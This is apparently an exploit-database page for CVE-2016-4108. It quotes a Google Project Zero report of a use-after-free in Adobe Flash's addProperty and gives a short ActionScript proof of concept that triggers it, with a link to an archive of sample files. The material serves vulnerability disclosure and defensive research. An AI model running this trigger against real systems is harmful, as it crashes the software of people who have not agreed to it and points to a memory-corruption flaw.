Materialized exploit

CVE-2016-4108

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos multiple Verified

Source

Adobe Flash - addProperty Use-After-Free

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code txt

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=801

There is a use-after-free in addProperty. If a property is added to a MovieClip object that already has a watch defined, and the watch deleted the MovieClip, it is used after it is freed.

A minimal PoC follows:

var t = this.createEmptyMovieClip( "t", 1);
t.watch("a", func);
t.addProperty("a", func, func);

function func(){

	trace("a");

	}

A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39830.zip